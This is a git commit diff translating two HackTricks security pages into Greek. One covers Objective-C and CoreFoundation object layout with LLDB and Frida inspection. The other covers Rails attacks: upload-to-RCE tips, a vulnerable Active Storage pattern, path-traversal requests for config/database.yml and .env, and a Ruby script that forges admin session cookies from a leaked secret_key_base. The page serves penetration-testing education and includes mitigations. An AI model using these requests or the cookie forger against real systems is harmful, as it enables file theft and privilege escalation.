Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-08-26 15:06:02 +00:00
parent 8003be36e3
commit 0b8e8f62a3
2 changed files with 249 additions and 42 deletions

View File

@ -4,7 +4,7 @@
## CFRuntimeClass
CF\* αντικείμενα προέρχονται από το CoreFoundation, το οποίο παρέχει περισσότερες από 50 κλάσεις αντικειμένων όπως `CFString`, `CFNumber` ή `CFAllocator`.
Τα αντικείμενα CF* προέρχονται από το CoreFoundation, το οποίο παρέχει περισσότερες από 50 κλάσεις αντικειμένων όπως `CFString`, `CFNumber` ή `CFAllocator`.
Όλες αυτές οι κλάσεις είναι στιγμιότυπα της κλάσης `CFRuntimeClass`, η οποία όταν καλείται επιστρέφει έναν δείκτη στον `__CFRuntimeClassTable`. Η CFRuntimeClass ορίζεται στο [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
```objectivec
@ -55,44 +55,55 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
```
## Objective-C
### Memory sections used
### Τμήματα μνήμης που χρησιμοποιούνται
Οι περισσότερες από τις δεδομένες που χρησιμοποιούνται από το ObjectiveC runtime θα αλλάξουν κατά τη διάρκεια της εκτέλεσης, επομένως χρησιμοποιεί ορισμένες ενότητες από το **\_\_DATA** τμήμα στη μνήμη:
Τα περισσότερα δεδομένα που χρησιμοποιεί το ObjectiveC runtime αλλάζουν κατά την εκτέλεση, επομένως χρησιμοποιεί έναν αριθμό τμημάτων από την MachO `__DATA` οικογένεια τμημάτων στη μνήμη. Ιστορικά αυτά περιλάμβαναν:
- **`__objc_msgrefs`** (`message_ref_t`): Αναφορές μηνυμάτων
- **`__objc_ivar`** (`ivar`): Μεταβλητές στιγμής
- **`__objc_data`** (`...`): Μεταβλητά δεδομένα
- **`__objc_classrefs`** (`Class`): Αναφορές κλάσεων
- **`__objc_superrefs`** (`Class`): Αναφορές υπερκλάσεων
- **`__objc_protorefs`** (`protocol_t *`): Αναφορές πρωτοκόλλων
- **`__objc_selrefs`** (`SEL`): Αναφορές επιλεγέων
- **`__objc_const`** (`...`): Δεδομένα κλάσης `r/o` και άλλα (ελπίζουμε) σταθερά δεδομένα
- **`__objc_imageinfo`** (`version, flags`): Χρησιμοποιείται κατά τη φόρτωση εικόνας: Έκδοση αυτή τη στιγμή `0`; Οι σημαίες καθορίζουν την υποστήριξη προ-βελτιστοποιημένου GC, κ.λπ.
- **`__objc_protolist`** (`protocol_t *`): Λίστα πρωτοκόλλων
- **`__objc_nlcatlist`** (`category_t`): Δείκτης σε Μη-Τεμπέλικες Κατηγορίες που ορίζονται σε αυτό το δυαδικό
- **`__objc_catlist`** (`category_t`): Δείκτης σε Κατηγορίες που ορίζονται σε αυτό το δυαδικό
- **`__objc_nlclslist`** (`classref_t`): Δείκτης σε Μη-Τεμπέλικες κλάσεις Objective-C που ορίζονται σε αυτό το δυαδικό
- **`__objc_classlist`** (`classref_t`): Δείκτες σε όλες τις κλάσεις Objective-C που ορίζονται σε αυτό το δυαδικό
- `__objc_msgrefs` (`message_ref_t`): Αναφορές μηνυμάτων
- `__objc_ivar` (`ivar`): Instance variables
- `__objc_data` (`...`): Mutable data
- `__objc_classrefs` (`Class`): Αναφορές κλάσεων
- `__objc_superrefs` (`Class`): Αναφορές superclass
- `__objc_protorefs` (`protocol_t *`): Αναφορές πρωτοκόλλων
- `__objc_selrefs` (`SEL`): Αναφορές selectors
- `__objc_const` (`...`): r/o δεδομένα κλάσης και άλλα (ελπίζουμε) σταθερά δεδομένα
- `__objc_imageinfo` (`version, flags`): Χρησιμοποιείται κατά το φόρτωμα του image: Η έκδοση αυτή τη στιγμή `0`; Τα flags προσδιορίζουν υποστήριξη προεπεξεργασίας GC, κ.λπ.
- `__objc_protolist` (`protocol_t *`): Λίστα πρωτοκόλλων
- `__objc_nlcatlist` (`category_t`): Δείκτης σε NonLazy Categories ορισμένες σε αυτό το binary
- `__objc_catlist` (`category_t`): Δείκτης σε Categories ορισμένες σε αυτό το binary
- `__objc_nlclslist` (`classref_t`): Δείκτης σε NonLazy ObjectiveC classes ορισμένες σε αυτό το binary
- `__objc_classlist` (`classref_t`): Δείκτες σε όλες τις ObjectiveC κλάσεις ορισμένες σε αυτό το binary
Χρησιμοποιεί επίσης μερικές ενότητες στο **`__TEXT`** τμήμα για να αποθηκεύσει σταθερές τιμές αν δεν είναι δυνατή η εγγραφή σε αυτή την ενότητα:
Χρησιμοποιεί επίσης μερικά τμήματα στο `__TEXT` segment για την αποθήκευση σταθερών:
- **`__objc_methname`** (C-String): Ονόματα μεθόδων
- **`__objc_classname`** (C-String): Ονόματα κλάσεων
- **`__objc_methtype`** (C-String): Τύποι μεθόδων
- `__objc_methname` (CString): Ονόματα μεθόδων
- `__objc_classname` (CString): Ονόματα κλάσεων
- `__objc_methtype` (CString): Τύποι μεθόδων
### Type Encoding
Σύγχρονα macOS/iOS (ειδικά σε Apple Silicon) τοποθετούν επίσης metadata ObjectiveC/Swift σε:
Το Objective-C χρησιμοποιεί κάποια παραμόρφωση για να κωδικοποιήσει τους επιλεγείς και τους τύπους μεταβλητών απλών και σύνθετων τύπων:
- `__DATA_CONST`: αμετάβλητα ObjectiveC metadata που μπορούν να κοινοποιηθούν μόνο για ανάγνωση μεταξύ διεργασιών (για παράδειγμα πολλές λίστες `__objc_*` πλέον ζουν εδώ).
- `__AUTH` / `__AUTH_CONST`: segments που περιέχουν δείκτες που πρέπει να είναι authenticated κατά το φόρτωμα ή την ώρα χρήσης στο arm64e (Pointer Authentication). Θα δείτε επίσης `__auth_got` σε `__AUTH_CONST` αντί του legacy `__la_symbol_ptr`/`__got` μόνο. Όταν κάνετε instrumentation ή hooking, θυμηθείτε να λάβετε υπόψη τόσο τις `__got` όσο και τις `__auth_got` εγγραφές σε σύγχρονα binaries.
- Οι πρωτότυποι τύποι χρησιμοποιούν το πρώτο γράμμα του τύπου `i` για `int`, `c` για `char`, `l` για `long`... και χρησιμοποιούν το κεφαλαίο γράμμα σε περίπτωση που είναι unsigned (`L` για `unsigned Long`).
- Άλλοι τύποι δεδομένων των οποίων τα γράμματα χρησιμοποιούνται ή είναι ειδικά, χρησιμοποιούν άλλα γράμματα ή σύμβολα όπως `q` για `long long`, `b` για `bitfields`, `B` για `booleans`, `#` για `classes`, `@` για `id`, `*` για `char pointers`, `^` για γενικούς `pointers` και `?` για `undefined`.
- Οι πίνακες, οι δομές και οι ενώσεις χρησιμοποιούν `[`, `{` και `(`
Για υπόβαθρο σχετικά με το dyld preoptimization (π.χ., selector uniquing και class/protocol precomputation) και γιατί πολλά από αυτά τα τμήματα είναι "ήδη διορθωμένα" όταν προέρχονται από το shared cache, δείτε τις Apple `objc-opt` πηγές και τις σημειώσεις dyld shared cache. Αυτό επηρεάζει πού και πώς μπορείτε να τροποποιήσετε metadata κατά το runtime.
#### Example Method Declaration
{{#ref}}
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
{{#endref}}
### Κωδικοποίηση τύπων
Το ObjectiveC χρησιμοποιεί mangling για να κωδικοποιήσει selectors και τύπους μεταβλητών απλών και σύνθετων τύπων:
- Οι πρωτόγονοι τύποι χρησιμοποιούν το πρώτο γράμμα του τύπου `i` για `int`, `c` για `char`, `l` για `long`... και χρησιμοποιούν το κεφαλαίο γράμμα στην περίπτωση που είναι χωρίς πρόσημο (`L` για `unsigned long`).
- Άλλοι τύποι δεδομένων χρησιμοποιούν άλλα γράμματα ή σύμβολα όπως `q` για `long long`, `b` για bitfields, `B` για λογικές τιμές (booleans), `#` για classes, `@` για `id`, `*` για `char *`, `^` για γενικούς δείκτες και `?` για undefined.
- Πίνακες, δομές και unions χρησιμοποιούν αντίστοιχα τα `[`, `{` και `(`.
#### Παράδειγμα δήλωσης μεθόδου
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
Ο επιλεγέας θα είναι `processString:withOptions:andError:`
Ο selector θα είναι `processString:withOptions:andError:`
#### Κωδικοποίηση Τύπου
@ -105,18 +116,18 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
```
#### Λεπτομερής Ανάλυση
1. **Τύπος Επιστροφής (`NSString *`)**: Κωδικοποιημένος ως `@` με μήκος 24
2. **`self` (αντικείμενο στιγμιότυπο)**: Κωδικοποιημένος ως `@`, στη μετατόπιση 0
3. **`_cmd` (επιλογέας)**: Κωδικοποιημένος ως `:`, στη μετατόπιση 8
4. **Πρώτη παράμετρος (`char * input`)**: Κωδικοποιημένος ως `*`, στη μετατόπιση 16
5. **Δεύτερη παράμετρος (`NSDictionary * options`)**: Κωδικοποιημένος ως `@`, στη μετατόπιση 20
6. **Τρίτη παράμετρος (`NSError ** error`)**: Κωδικοποιημένος ως `^@`, στη μετατόπιση 24
1. Τύπος επιστροφής (`NSString *`): Κωδικοποιείται ως `@` με μήκος 24
2. `self` (παράδειγμα αντικειμένου): Κωδικοποιείται ως `@`, στη μετατόπιση 0
3. `_cmd` (επιλογέας): Κωδικοποιείται ως `:`, στη μετατόπιση 8
4. Πρώτο όρισμα (`char * input`): Κωδικοποιείται ως `*`, στη μετατόπιση 16
5. Δεύτερο όρισμα (`NSDictionary * options`): Κωδικοποιείται ως `@`, στη μετατόπιση 20
6. Τρίτο όρισμα (`NSError ** error`): Κωδικοποιείται ως `^@`, στη μετατόπιση 24
**Με τον επιλογέα + την κωδικοποίηση μπορείτε να ανακατασκευάσετε τη μέθοδο.**
Με τον επιλογέα + την κωδικοποίηση μπορείτε να ανακατασκευάσετε τη μέθοδο.
### **Κλάσεις**
### Κλάσεις
Οι κλάσεις στην Objective-C είναι μια δομή με ιδιότητες, δείκτες μεθόδων... Είναι δυνατή η εύρεση της δομής `objc_class` στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
Οι κλάσεις στο ObjectiveC είναι C structs με ιδιότητες, δείκτες μεθόδων, κ.λπ. Είναι δυνατόν να βρείτε τη δομή `objc_class` στο [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
```objectivec
struct objc_class : objc_object {
// Class ISA;
@ -137,9 +148,114 @@ data()->setFlags(set);
}
[...]
```
Αυτή η κλάση χρησιμοποιεί μερικά bits του πεδίου isa για να υποδείξει κάποιες πληροφορίες σχετικά με την κλάση.
Αυτή η κλάση χρησιμοποιεί κάποια bits του πεδίου `isa` για να υποδείξει πληροφορίες σχετικά με την κλάση.
Στη συνέχεια, η δομή έχει έναν δείκτη στη δομή `class_ro_t` που αποθηκεύεται στο δίσκο και περιέχει χαρακτηριστικά της κλάσης όπως το όνομά της, τις βασικές μεθόδους, τις ιδιότητες και τις μεταβλητές στιγμής.\
Κατά τη διάρκεια της εκτέλεσης, χρησιμοποιείται μια επιπλέον δομή `class_rw_t` που περιέχει δείκτες οι οποίοι μπορούν να τροποποιηθούν, όπως μέθοδοι, πρωτόκολλα, ιδιότητες...
Στη συνέχεια, η struct έχει έναν δείκτη στη struct `class_ro_t` αποθηκευμένη στον δίσκο που περιέχει χαρακτηριστικά της κλάσης όπως το όνομά της, τις base methods, properties και instance variables. Κατά το runtime χρησιμοποιείται μια επιπλέον δομή `class_rw_t` που περιέχει δείκτες οι οποίοι μπορούν να τροποποιηθούν, όπως methods, protocols, properties.
{{#ref}}
../macos-basic-objective-c.md
{{#endref}}
---
## Σύγχρονες αναπαραστάσεις αντικειμένων στη μνήμη (arm64e, tagged pointers, Swift)
### Μη‑δείκτης `isa` και Pointer Authentication (arm64e)
Σε Apple Silicon και σε πρόσφατα runtimes, το ObjectiveC `isa` δεν είναι πάντα ένας raw class pointer. Στο arm64e είναι μια πακεταρισμένη δομή που μπορεί επίσης να φέρει ένα Pointer Authentication Code (PAC). Ανάλογα με την πλατφόρμα μπορεί να περιλαμβάνει πεδία όπως `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc`, και τον ίδιο τον δείκτη κλάσης (με shifted ή signed μορφή). Αυτό σημαίνει ότι η τυφλή αποαναφορά των πρώτων 8 bytes ενός ObjectiveC αντικειμένου δεν θα επιστρέψει πάντα έναν έγκυρο δείκτη `Class`.
Πρακτικές σημειώσεις κατά το debugging σε arm64e:
- Το LLDB συνήθως θα αφαιρεί τα PAC bits για εσάς όταν εκτυπώνει ObjectiveC αντικείμενα με `po`, αλλά όταν εργάζεστε με raw pointers ίσως χρειαστεί να αφαιρέσετε την authentication χειροκίνητα:
```lldb
(lldb) expr -l objc++ -- #include <ptrauth.h>
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
```
- Πολλοί function/data pointers στο MachO θα βρίσκονται σε `__AUTH`/`__AUTH_CONST` και απαιτούν authentication πριν τη χρήση. Αν κάνετε interposing ή rebinding (π.χ. fishhookstyle), βεβαιωθείτε ότι χειρίζεστε επίσης το `__auth_got` επιπλέον του legacy `__got`.
Για εις βάθος ανάλυση σχετικά με τις εγγυήσεις γλώσσας/ABI και τα intrinsics του `<ptrauth.h>` που είναι διαθέσιμα από το Clang/LLVM, δείτε την αναφορά στο τέλος αυτής της σελίδας.
### Tagged pointer objects
Ορισμένες Foundation κλάσεις αποφεύγουν την κατανομή στο heap κωδικοποιώντας το payload του αντικειμένου απευθείας στην τιμή του pointer (tagged pointers). Ο εντοπισμός διαφέρει ανά πλατφόρμα (π.χ. το mostsignificant bit στο arm64, το leastsignificant στο x86_64 macOS). Τα tagged αντικείμενα δεν έχουν ένα κανονικό `isa` αποθηκευμένο στη μνήμη· το runtime επιλύει την κλάση από τα tag bits. Όταν εξετάζετε αυθαίρετες τιμές `id`:
- Χρησιμοποιήστε runtime APIs αντί να πειράζετε το πεδίο `isa`: `object_getClass(obj)` / `[obj class]`.
- Στο LLDB, απλώς `po (id)0xADDR` θα εκτυπώσει σωστά αντικείμενα tagged pointer επειδή το runtime συμβουλεύεται για να επιλύσει την κλάση.
### Swift heap objects and metadata
Οι καθαρές Swift κλάσεις είναι επίσης αντικείμενα με ένα header που δείχνει σε Swift metadata (όχι ObjectiveC `isa`). Για να κάνετε introspect ζωντανών Swift διεργασιών χωρίς να τις τροποποιήσετε μπορείτε να χρησιμοποιήσετε το Swift toolchains `swift-inspect`, που αξιοποιεί τη βιβλιοθήκη Remote Mirror για να διαβάσει runtime metadata:
```bash
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
swift-inspect dump-raw-metadata <pid-or-name>
swift-inspect dump-arrays <pid-or-name>
# On Darwin additionally:
swift-inspect dump-concurrency <pid-or-name>
```
Αυτό είναι πολύ χρήσιμο για να αντιστοιχίσετε αντικείμενα heap του Swift και τις συμμορφώσεις πρωτοκόλλων όταν κάνετε reversing σε μικτές εφαρμογές Swift/ObjC.
---
## Cheatsheet επιθεώρησης χρόνου εκτέλεσης (LLDB / Frida)
### LLDB
- Εκτύπωση αντικειμένου ή κλάσης από raw pointer:
```lldb
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
```
- Επισκόπηση της κλάσης ObjectiveC από ένα pointer προς το `self` μιας μεθόδου αντικειμένου σε breakpoint:
```lldb
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
(lldb) r
... breakpoint hit ...
(lldb) po (id)$x0 # self
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
```
- Εξάγετε ενότητες που περιέχουν μεταδεδομένα ObjectiveC (σημείωση: πολλές πλέον βρίσκονται σε `__DATA_CONST` / `__AUTH_CONST`):
```lldb
(lldb) image dump section --section __DATA_CONST.__objc_classlist
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
(lldb) image dump section --section __AUTH_CONST.__auth_got
```
- Διάβασε τη μνήμη ενός γνωστού αντικειμένου κλάσης για να pivot σε `class_ro_t` / `class_rw_t` όταν κάνεις reversing στις λίστες μεθόδων:
```lldb
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
```
### Frida (ObjectiveC and Swift)
Η Frida παρέχει υψηλού επιπέδου runtime γέφυρες που είναι πολύ χρήσιμες για να εντοπίζετε και να επεμβαίνετε σε ζωντανά αντικείμενα χωρίς σύμβολα:
- Επισκόπηση των classes και methods, επίλυση των πραγματικών ονομάτων κλάσεων κατά το runtime, και παρεμβολή σε ObjectiveC selectors:
```js
if (ObjC.available) {
// List a class' methods
console.log(ObjC.classes.NSFileManager.$ownMethods);
// Intercept and inspect arguments/return values
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
Interceptor.attach(impl, {
onEnter(args) {
this.path = new ObjC.Object(args[2]).toString();
},
onLeave(retval) {
console.log('fileExistsAtPath:', this.path, '=>', retval);
}
});
}
```
- Swift bridge: απαριθμήστε Swift types και αλληλεπιδράστε με Swift instances (απαιτεί πρόσφατο Frida· πολύ χρήσιμο σε συσκευές Apple Silicon).
---
## Αναφορές
- Clang/LLVM: Pointer Authentication and the `<ptrauth.h>` intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
- Apple objc runtime headers (tagged pointers, nonpointer `isa`, etc.) π.χ. `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,99 @@
{{#include ../../banners/hacktricks-training.md}}
## Ανεβάζοντας αρχεία για RCE
## File upload to RCE
Όπως εξηγείται σε [αυτό το άρθρο](https://www.offsec.com/blog/cve-2024-46986/), η ανέβασμα ενός αρχείου `.rb` σε ευαίσθητους καταλόγους όπως το `config/initializers/` μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα (RCE) σε εφαρμογές Ruby on Rails.
Όπως εξηγείται στο [this article](https://www.offsec.com/blog/cve-2024-46986/), η μεταφόρτωση ενός `.rb` αρχείου σε ευαίσθητους καταλόγους όπως `config/initializers/` μπορεί να οδηγήσει σε remote code execution (RCE) σε εφαρμογές Ruby on Rails.
Συμβουλές:
- Άλλες τοποθεσίες boot/eager-load που εκτελούνται κατά την εκκίνηση της εφαρμογής είναι επίσης επικίνδυνες αν είναι εγγράψιμες (π.χ., `config/initializers/` είναι το κλασικό παράδειγμα). Αν βρείτε μια αυθαίρετη μεταφόρτωση αρχείου που καταλήγει οπουδήποτε κάτω από το `config/` και αργότερα αξιολογείται/required, μπορεί να αποκτήσετε RCE κατά την εκκίνηση.
- Αναζητήστε dev/staging builds που αντιγράφουν user-controlled αρχεία μέσα στο container image όπου το Rails θα τα φορτώσει κατά την εκκίνηση.
## Active Storage image transformation → command execution (CVE-2025-24293)
Όταν μια εφαρμογή χρησιμοποιεί Active Storage με `image_processing` + `mini_magick`, και περνά μη αξιόπιστες παραμέτρους σε μεθόδους μετατροπής εικόνας, εκδόσεις του Rails πριν από 7.1.5.2 / 7.2.2.2 / 8.0.2.1 ενδέχεται να επιτρέπουν command injection επειδή ορισμένες μεθόδοι μετατροπής επιτράπηκαν κατά λάθος από προεπιλογή.
- Ένα ευάλωτο μοτίβο μοιάζει με:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
όπου `params[:t]` και/ή `params[:v]` ελέγχονται από τον attacker.
- Τι να δοκιμάσετε κατά τις δοκιμές
- Εντοπίστε endpoints που δέχονται variant/processing επιλογές, ονόματα μετατροπών ή αυθαίρετα ImageMagick arguments.
- Fuzzάρετε τα `params[:t]` και `params[:v]` για ύποπτα σφάλματα ή side-effects εκτέλεσης. Αν μπορείτε να επηρεάσετε το όνομα της μεθόδου ή να περάσετε raw arguments που φτάνουν στο MiniMagick, μπορεί να πετύχετε code exec στον host που επεξεργάζεται τις εικόνες.
- Αν έχετε μόνο πρόσβαση ανάγνωσης στα παραγόμενα variants, επιχειρήστε blind exfiltration μέσω crafted ImageMagick operations.
- Αντιμετώπιση/ανιχνεύσεις
- Αν δείτε Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 με Active Storage + `image_processing` + `mini_magick` και user-controlled μετατροπές, θεωρήστε το εκμεταλλεύσιμο. Συνιστάται αναβάθμιση και επιβολή αυστηρών allowlists για μεθόδους/παραμέτρους και ενίσχυση της πολιτικής ImageMagick.
## Rack::Static LFI / path traversal (CVE-2025-27610)
Αν το target stack χρησιμοποιεί Rack middleware απευθείας ή μέσω frameworks, εκδόσεις του `rack` πριν από 2.2.13, 3.0.14 και 3.1.12 επιτρέπουν Local File Inclusion μέσω `Rack::Static` όταν το `:root` δεν έχει οριστεί ή είναι λανθασμένα διαμορφωμένο. Κωδικοποιημένο traversal στο `PATH_INFO` μπορεί να αποκαλύψει αρχεία κάτω από το process working directory ή ένα απροσδόκητο root.
- Αναζητήστε εφαρμογές που mountάρουν `Rack::Static` στο `config.ru` ή στις middleware stacks. Δοκιμάστε κωδικοποιημένα traversals ενάντια σε static μονοπάτια, για παράδειγμα:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Προσαρμόστε το prefix για να ταιριάξει με τα ρυθμισμένα `urls:`. Αν η εφαρμογή απαντήσει με περιεχόμενο αρχείου, πιθανότατα έχετε LFI σε οτιδήποτε κάτω από το επιλυμένο `:root`.
- Mitigation: αναβαθμίστε το Rack· βεβαιωθείτε ότι το `:root` δείχνει μόνο σε έναν κατάλογο δημόσιων αρχείων και έχει οριστεί ρητά.
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (π.χ., σε repo, logs, ή misconfigured credentials), μπορείτε συνήθως να decrypt, modify και re-encrypt τα cookies. Αυτό συχνά οδηγεί σε authz bypass αν η εφαρμογή αποθηκεύει roles, user IDs, ή feature flags στα cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
Σημειώσεις:
- Παλαιότερες εφαρμογές ενδέχεται να χρησιμοποιούν AES-256-CBC και salts `encrypted cookie` / `signed encrypted cookie`, ή JSON/Marshal serializers. Προσαρμόστε ανάλογα τα salts, τον cipher και τον serializer.
- Σε περίπτωση παραβίασης ή κατά την αξιολόγηση, αλλάξτε το `secret_key_base` για να ακυρώσετε όλα τα υπάρχοντα cookies.
## Δείτε επίσης (ευπάθειες ειδικές για Ruby/Rails)
- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## Αναφορές
- Ανακοίνωση ασφάλειας Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- Ειδοποίηση GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}}